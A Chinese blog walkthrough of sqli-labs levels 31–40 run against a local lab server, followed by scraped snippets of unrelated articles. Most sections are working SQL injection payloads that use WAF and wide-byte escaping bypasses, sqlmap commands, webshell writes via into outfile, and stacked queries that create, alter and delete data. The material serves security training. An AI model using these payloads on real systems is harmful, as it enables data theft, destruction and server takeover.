sqli-labs通关(less31~less40)

2023-11-06

目录

Less31

Less32

Less33

Less34

Less35

Less36

Less37

Less38

Less39

Less40


Less31

这关和前两关也只是闭合不同的差别……思路还是通过HTTP参数污染绕过WAF

爆数据的payload:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=1") order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=1") order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu'-- s
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'-- s
#爆出数据库pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,group_concat(concat(id,'~',content,'~',time)) from pikachu.message-- s

写webshell的payload:

http://192.168.101.16/sqli-labs-master/Less-31/login.php?id=1&id=-1") union select 1,2,'<?php assert($_POST[less31]);?>' into outfile 'C:/phpstudy_pro/WWW/less31.php'-- s

 服务器上写入的webshell:

代码就不分析了,和前两关除了sql语句的闭合符号,其他都一样

Less32

这关正常id后面加个单引号,从页面贴心地提示发现,到了服务器之后,单引号前面多了个斜杠,也就是单引号被转义了。另外页面还善良地给出了id值的十六进制。这很容易让人联想到宽字节注入。

原理之前在这篇写过了 pikachu SQL注入 (皮卡丘漏洞平台通关系列)_箭雨镜屋-CSDN博客_pikachu sql注入 ,这里不赘述了,主要思想就是如果服务器传入数据库的数据是gbk等宽字节编码,可以在特殊字符之前增加一个十六进制字节,和转义符构成一个汉字字符,从而把转义符吃掉。

 地址栏输入:http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df'

发现页面和上图不同,有sql语句报错信息,看来这关确实可以用宽字节注入

 爆数据的payload如下:

特别注意,本关payload中只有闭合单引号时用宽字节注入,其他涉及单引号的部分都要用字符的十六进制编码,否则会报错。

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-32/?id=1%df' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s 
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出数据库pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s

这关试了没法用into outfile写webshell,文件名不能写成十六进制的形式

本关代码最最关键的就是下图红框框起来的部分,如果没有这行代码,就不能用宽字节绕过了。

另外本关用来过滤用户输入的函数是check_addslashes()

从下图可见,该函数通过在反斜杠,单引号,双引号前面加反斜杠对它们进行转义

Less33

这关和上一关的解法完全一样,爆数据的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-33/?id=1%df' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-33/?id=1%df' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s 
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出数据库pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s

正好上一关忘记插最后结果图了,这关来补一张

看一下这关代码,和上一关唯一的不同是把函数check_addslashes()中那一坨代码,换成了addslashes()函数,这个函数的作用是通过在预定义字符前加反斜线进行转义,预定字符包括单引号,双引号,反斜线和NULL

Less34

这关还是利用宽字节绕过,只不过参数提交方式从GET变成POST了

特别需要注意的是:

直接在网页输入框里面绕过(下面这样)没有用

用burpsuite抓包发现df前面的百分号被url编码了

 

 可以直接在burpsuite中进行宽字节绕过,或者用firefox的hackbar更直观

爆数据的payload如下:

#下面两步找列数
uname=admin%df' order by 2-- s&passwd=1&submit=Submit
uname=admin%df' order by 3-- s&passwd=1&submit=Submit
#确定哪个字段有回显
uname=admin%df' union select 1,2-- s&passwd=1&submit=Submit
#爆出所有数据库名称
uname=admin%df' union select 1,group_concat(schema_name) from information_schema.schemata-- s&passwd=1&submit=Submit
#爆出数据库pikachu的所有表名称
uname=admin%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s &passwd=1&submit=Submit
#爆出数据库pikachu的表message的所有列名称
uname=admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s &passwd=1&submit=Submit
#爆出数据库pikachu的表message的id列和content列的值
uname=admin%df' union select 1,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s&passwd=1&submit=Submit

 本关代码其实没啥好说的了,和上一关差不多,只不过提交参数的方法变成POST了

Less35

这关虽然单引号也被转义了,但是由于这关的id在sql语句中是数字,不涉及闭合,所以这关比前面几关更简单,根本不需要满足宽字节注入的条件,只需要payload中字符串都写成十六进制形式就行。

爆数据的payload如下:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-35/?id=1 order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-35/?id=1 order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s 
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出数据库pikachu的表message的id列和content列的值
http://192.168.101.16/sqli-labs-master/Less-35/?id=-1 union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s

最终结果:

代码和33关只是sql语句有区别,本关没有闭合符号,其他都一样。

Less36

醉了,这关和Less33不能说毫无关系,只能说一模一样……思路仍然是宽字节注入绕过闭合符的转义,其他字符串写成十六进制形式

直接上跨库爆数据的payload吧:

#下面两步找列数
http://192.168.101.16/sqli-labs-master/Less-36/?id=1%df' order by 3-- s
http://192.168.101.16/sqli-labs-master/Less-36/?id=1%df' order by 4-- s
#确定哪个字段有回显
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,3-- s
#爆出所有数据库名称
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- s
#爆出数据库pikachu的所有表名称
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x70696B61636875-- s 
#爆出数据库pikachu的表message的所有列名称
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x70696B61636875 and table_name=0x6D657373616765-- s
#爆出数据库pikachu的表message的id列、content列和time列的值
http://192.168.101.16/sqli-labs-master/Less-36/?id=-1%df' union select 1,2,group_concat(concat(id,0x7e,content,0x7e,time)) from pikachu.message-- s

爆数据结果:

虽然绕过方式都是宽字节注入+字符串的十六进制形式,但代码和Less33有点区别。

这关用mysql_real_escape_string() 函数处理用户输入,这个函数也是用来转义 SQL 语句中使用的字符串中的特殊字符的,特殊字符包括\x00,\n,\r,\,',"以及\x1a

Less37

看标题我就觉得这关和Less34应该是一个套路,果然……

这关如果手工注入,直接用Less34的payload就可以,为了避免无聊的重复,这关我决定用一下sqlmap。

宽字节绕过用sqlmap来注入,需要用到名为unmagicquotes.py的tamper脚本(--tamper unmagicquotes.py)。跨库爆数据的具体payload如下:

python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\LESS37.txt" --tamper unmagicquotes.py -dbs
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\LESS37.txt" --tamper unmagicquotes.py --tables -D pikachu
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\LESS37.txt" --tamper unmagicquotes.py --columns -D pikachu -T message
python sqlmap.py -r "E:\渗透测试学习资料\sqlilab\LESS37.txt" --tamper unmagicquotes.py --dump -D pikachu -T message -C id,time,content

结果:

 本关代码也没啥可说的,和上一关一样,都是用mysql_real_escape_string() 函数处理用户输入。

Less38

本关虽然也能用union注入,不过union注入能办成的事儿还是有局限,既然本关标题是堆叠注入,那就试试堆叠注入吧~

堆叠注入可以随便玩了,只要是sql语句能做到的,想干嘛都行(记得还是要通过报错找闭合的)。

比如创建数据库:

http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';create database xiannv-- s

创建表:

http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';use xiannv;create table xiang(id int,user varchar(10))-- s

创建数据:

http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';insert into xiannv.xiang values(1,'test1')-- s

上面三步的结果:

从服务器上的navicat可以看到,产生了一个新数据库xiannv,该数据库中有一个表xiang,该表有两列id和user,有一条记录,id值为1,user值为test1

执行删除操作也可以,这里不多说了,和直接连接数据库用的是同样的语句。

本关写webshell可以用union注入,也可以用堆叠注入,如果用堆叠注入的话,payload如下:

http://192.168.101.16/sqli-labs-master/Less-38/?id=-1';select '<?php assert($_POST[less38]);?>' into outfile 'C:/phpstudy_pro/WWW/less38.php'-- s

服务器上被写入的webshell:

本关select相关的操作还是需要用union注入,因为本关只显示第一条sql语句的查询结果,不显示后面的。

本关之所以能使用堆叠注入,是因为代码中使用了mysqli_multi_query()函数,该函数可以执行多个针对数据库的查询。

本关所有堆叠注入的结果是无法显示在页面上的,如果想从页面看出来是否堆叠成功,可以把69行的注释去掉,这样,执行超过一条sql语句时(无论分号之后的语句执行成功还是失败),页面会回显---------------------,不过通过这个并不能看出来堆叠的语句是否执行成功。

Less39

这关又是堆叠注入,那就干点新事儿吧……

这关没有闭合,想把上一关xiannv数据库xiang表的那条记录的user改成xiaokui的话,浏览器地址栏这么写:

http://192.168.101.16/sqli-labs-master/Less-39/?id=1;update xiannv.xiang set user='xiaokui' where id=1-- s

服务器上查看结果:

这关代码不说了,和上一关差不多,只是上一关单引号闭合变量,这关无闭合。

Less40

先用布尔盲注的方式找到本关的闭合,然后就可以直接堆叠注入啦

找闭合:

http://192.168.101.16/sqli-labs-master/Less-40/?id=1  有查询结果

http://192.168.101.16/sqli-labs-master/Less-40/?id=1" 有查询结果

http://192.168.101.16/sqli-labs-master/Less-40/?id=1'  无查询结果

http://192.168.101.16/sqli-labs-master/Less-40/?id=1'-- s  无查询结果

http://192.168.101.16/sqli-labs-master/Less-40/?id=1')-- s  有查询结果

找到闭合为')

这关用堆叠注入把之前创建的xiannv数据库xiang表中的唯一一条记录删掉:

http://192.168.101.16/sqli-labs-master/Less-40/?id=1');delete from xiannv.xiang where user='xiaokui'-- s

在服务器上可以看到该记录已经被删除:

本关代码好像也没啥好说的,不说了……

做完堆叠的三关,稍微有点感悟:堆叠注入可能不一定能一下子看出来(比如不显示第一条之后的语句的查询结果),如果不是明确知道能堆叠注入,或许可以尝试写入一些东西,再通过一些方法(比如select能不能读到写入的东西)来判断。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs通关(less31~less40) 的相关文章

  • 自定义 php 论坛 - 显示新的/未读的帖子

    我自己使用 php 编写了一个自定义论坛脚本 我决定不使用 phpbb 和其他工具 因为我希望我所做的事情具有 100 的灵活性 不过我遇到了一个问题 如何向用户显示帖子是否是新的 未读的 我想到了两种解决方案 1 饼干 2 数据库 我不想
  • 通过API更新Twitter背景

    我在通过 Twitter 的 API 更新背景时遇到了一些问题 target url http www google com logos 11th birthday gif ch curl init curl setopt ch CURLO
  • 如何在 Yii 中设置 returnUrl 值

    我正在使用 Yii 我遇到的问题是Yii app gt user gt returnUrl 它总是让我回到index php page 由于我不知道用户从哪个页面访问了当前页面 如何将其值设置为请求当前页面的页面 您可以使用Yii app
  • PDO dblib 未捕获警告

    我已经使用 realestateconz mssql bundle 和免费 TDS 成功使我的 symfony 应用程序连接到 MSSQL 数据库 我的问题是 当我尝试执行存储过程时 如果出现问题 该过程会引发异常 但 PDO 不会报告任何
  • 在 while 循环之外使用变量(作用域)

    关于 PHP 范围的小问题 我似乎无法在 while 循环之外调用变量 report 我尝试过各种事情 包括return 这不起作用 这里唯一起作用的两个函数是如果我echo变量 report在循环内 或者如果我print它 我不想这样做
  • 某些表格后的分页符

    我的问题是 我有一个页面 其中包含几个要打印的 html 表格 有些表有很多行 有些则没有 我想要做的是将第一个和第二个表 大表 打印在单独的页面中 其余表 小表 每页打印两个 如何在我想要的位置放置分页符 我试过 但这会在每个表格后面添加
  • Facebook PHP API 登录时抛出异常

    我尝试使用 Facebook Graph API 登录并获取用户信息 我用来获取用户信息的代码以前可以工作 但今天我尝试使用 Facebook 登录 但 Facebook API 抛出此错误 未定义的偏移量 1 home vendor fa
  • fsockopen() 和 SSL 出错,“无法启用加密”

    我正在尝试连接到 Nominet EPP 测试台 但收到 无法启用加密 的消息 这似乎是一个罕见的错误 没有记录的解决方案或原因 用行 socket fsockopen ssl testbed epp nominet org uk 700
  • 从本地 html/javascript 网站插入 mySQL 数据库

    我正在尝试做什么 我的程序的目的是插入数据local HTML JS网站变成online 非本地 mySQL数据库 到目前为止我尝试过的 我试图用来实现此目的的原始方法是让我的本地网站使用 javascript 通过在线发布数据PHP文件
  • 为什么 http://localhost/ 不使用 WAMP 加载任何内容?

    我最近尝试安装 WAMP 但发现没有页面加载 它还有一个橙色的 W 标志 如果这有什么意义的话 它确实说 托盘图标 WAMP服务器已上线尽管 我也做了一些研究 发现 Skype 可能会引起问题 所以我删除了使用端口 80 和 443 作为传
  • Symfony 5.4 Security Bundle,注册后无法登录

    我在 5 4 版本上构建空的新项目 我使用这些命令来构建项目 composer create project symfony skeleton 5 4 testapp54 cd testapp54 composer require weba
  • CMS:将自定义页面存储为文件或 MySQL 数据库中?

    我正在 PHP 中创建一个自定义 CMS 从头开始编写 并且想知道是否应该将用户创建的页面存储为文件或存储在 MySQL 数据库中 内容全部是 HTML 代码 至少目前是这样 我无法决定该做什么 因为用 php 编写文件似乎存在安全风险 并
  • 如何在 php 中为每个其他函数调用自动调用函数

    Class test function test1 echo inside test1 function test2 echo test2 function test3 echo test3 obj new test obj gt test
  • 返回早期概念在 PHP 中有何用处

    我已经在以下链接中了解了最佳实践https pear php net manual en standards bestpractices php https pear php net manual en standards bestprac
  • 正则表达式:如何表达没有下划线的 \w

    有没有简洁的表达方式 w but without 即 w 中包含的所有字符 除了 我问这个是因为我正在寻找最简洁的方式来表达域名验证 域名可以包含小写和大写字母 数字 句号和破折号 但不能包含下划线 w 包括以上所有内容 加上下划线 那么
  • 向 yahoo 和 hotmail 用户发送电子邮件?

    我正在使用 php 和 mysql 每次用户在我的网站上注册时 我都会使用 php mail 发送一封电子邮件进行身份验证 最近我发现 很多Yahoo和Hotmail用户还没有激活他们的帐户 假设 1000 个用户中 只有 200 个被激活
  • Woocommerce 中的 Ajaxify 标头购物车项目计数

    我正在为 WordPress 创建一个自定义 woocommerce 集成主题 我在顶部有一个 blob 显示购物车中的商品总数 我想使用 Jquery 更新此 blob 无需重新加载页面 我能够通过获取购物车中的当前数量来增加商品数量bl
  • TCPDF - 来自 mysql 的打印表显示重复的第一行

    我是 TCPDF 的新手 我面临的小问题是所有输出数据都显示同一行 我的意思是第一条记录重复数据库中存在的总数据 行 的次数 这是我的代码 tbl header
  • 未找到教义列:1054“字段列表”中未知列“s.features”

    我在站点表中添加了一个新列 features 并使用 Doctrine 重新生成了模型 此代码导致错误 siteTable Doctrine Core getTable Site site siteTable gt findOneByNam
  • Symfony2 dev环境可以工作,prod环境给出404错误

    我最近在我的机器上成功安装了 Symfony2 我可以访问http localhost app dev php 开发环境 但是 当我尝试访问 prod 环境时 http localhost app php 我在浏览器中收到以下错误消息 哎呀

随机推荐

  • Vite 打包体积分析,性能提升不再困扰

    其实这个问题最好改成 rollup 打包体积分析 但是为什么我会取这个名字呢 其实这主要是由于我的习惯性引起的 因为太久没用一个东西 如果遇到问题 肯定会去围绕它自身去进行搜索 例如遇到 vite 打包分析相关问题 就会在 google 搜
  • MinIO从信息泄漏到RCE

    文章目录 信息泄露 漏洞利用 漏洞分析 漏洞修复 RCE 漏洞分析 参考文章 信息泄露 漏洞利用 如果MinIO以集群方式部署 存在信息泄露漏洞 攻击者可以通过HTTP请求获取目标进程的所有环境变量 包括MINIO SECRET KEY和M
  • 计算机网络——分层的体系结构(OSI模型/五层协议栈)

    一 基础知识 计算机网络 计算机网络是一个非常复杂的系统 涉及许多组成部分 主机 hosts 路由器 routers 各种链路 links 应用 applications 协议 protocols 硬件 软件 网络体系结构的特点 1 网络体
  • [高级数据结构C++] 树状数组进阶(求逆序对的个数)

    算法竞赛 file author jUicE g2R qq 3406291309 彬 bin 必应 一个某双流一大学通信与信息专业大二在读 brief 一直在算法竞赛学习的路上 copyright 2023 9 COPYRIGHT 原创技术
  • ROS模型构建、定位导航

    利用URDF或者Xacro文件 以XML的方式描述小车底盘 camera laser Kinect等基本机器人结构 通过Gazebo或Rviz将文件解析为图形化的机器人模型 其中很多代码可以从网络上找到 主要注意参数和坐标系的设置 例如在K
  • CSS之美化网页 span标签 与 div标签

    CSS高级特性 我们大家在学习CSS之前 肯定已经接触过了HTML了吧 那么我们为什么还要学习CSS呢 首先哈 CSS可以有效的传递页面信息 使用CSS美化过的页面文本 非常漂亮 美观 并且可以突出重点 使用户看到页面的主要内容 具有良好的
  • UE4笔记-进程/线程/网络/IO模块的相关问题记录

    吐槽 如果有Qt的开发经验 会发现其实在比较底层编程理念UE4和Qt极其相识 很多类名和用法甚至都是相同的 Q 创建线程类 UE4文档没有特别介绍关于线程模块的文章 这里自己简单记录一下 备查 目前来说UE4的线程模块还是比较简陋的 命名风
  • 如果一个节点重新安装了,处理办法

    1 安装操作系统 如果可以最好所有的包都安装上 创建用户 组 更改核心参数 bash profile 2 配制ssh 保证新的结点和原有的节点互信 3 安装asmlib 然后用 etc init d oracleasm scandisks
  • Mybatis中的动态SQL

    Mybatis框架的动态SQL技术是一种根据特定条件动态拼装SQL语句的功能 它存在的意义是为了解决拼接SQL语句字符串时的痛点问题 一 if 单独使用较少 if标签可通过test属性 即传递过来的数据 的表达式进行判断 若表达式的结果为t
  • 单目3D检测-坐标系、数据集

    0 单目3D检测任务 c x y z w
  • JAVA基本数据类型与byte互相转换(位运算,原码,补码)

    最近整理了之前的一些知识 做了一个java中byte类型与int long转换以及将字节信息表示成字符串形式的工具 对前面的只是做了一下复习整理 原码 反码 补码 首先这三者都是二进制码即 0 1组合 原码 最高位为符号位 0表示正数 1表
  • CAN 帧ID 与J1939 PGN 转换例子

    在saeJ1939中文版中找的三张图如下 例如 0x18 FE DF 00 110 0 0 11111110 11011111 00000000 P R DP PF PS SA 具体参数即为数据段 0 64 优先级为 P 110 2 或6
  • C语言位操作 - bit 、byte的清零,置1,提取,判断

    一 位操作概述 针对MCU的嵌入是开发中经常涉及到寄存器的操作 例如GPIO配置低寄存器GPIOx CRL 共32个bit 有时需要改变其中的一位或者几位bit值 同时不能影响其它bit位的值 例如 需要设置第0位bit 1时 不能简单的设
  • 从别人那学习什么?

    author skate time 2010 09 11 从别人那学习什么 今天在看oracle优化文档时 在诊断优化数据库时 在发现问题与解决问题这一过程中 就像我们现实中的一个缩影 思维总是天马行空 我们从出生一直到离开人世 都在 学习
  • 【寒假每日一题】蛇形矩阵

    问题1 题目来源 AcWing 题目链接 756 蛇形矩阵 AcWing题库 题目描述 输入两个整数 n 和 m 输出一个 n 行 m 列的矩阵 将数字 1 到 n m 按照回字蛇形填充至矩阵中 具体矩阵形式可参考样例 输入格式 输入共一行
  • 数据库设计之网上书店系统

    版权声明 对于本博客所有原创文章 允许个人 教育和非商业目的使用 但务必保证文章的完整性且不作任何修改地以超链接形式注明原始作者 出处及本声明 博客地址 http blog csdn net shuxiao9058 原始作者 季亚 一 概要
  • python函数初步了解

    文章目录 什么是函数 python中函数的创建和调用 python中函数的变量作用域 全局变量 局部变量 python中的函数参数 形参 实参 默认参数 可变参数 关键字参数 匿名函数 递归函数 什么是函数 函数是组织好的 可重复使用的 用
  • vue路由props传递参数

    props分为三种形式 props为对象 props为布尔值 这种只能接收params动态路由的参数 props为函数 可以接收query和params参数 推荐 import Vue from vue import VueRouter f
  • 大数据技术之(一) Spark-Core

    第1章 Spark 概述 1 Spark是什么 Spark 是一种基于内存的快速 通用 可扩展的大数据分析计算引擎 2 Spark and Hadoop 在之前的学习中 Hadoop 的 MapReduce 是大家广为熟知的计算框架 那为什
  • sqli-labs通关(less31~less40)

    目录 Less31 Less32 Less33 Less34 Less35 Less36 Less37 Less38 Less39 Less40 Less31 这关和前两关也只是闭合不同的差别 思路还是通过HTTP参数污染绕过WAF 爆数据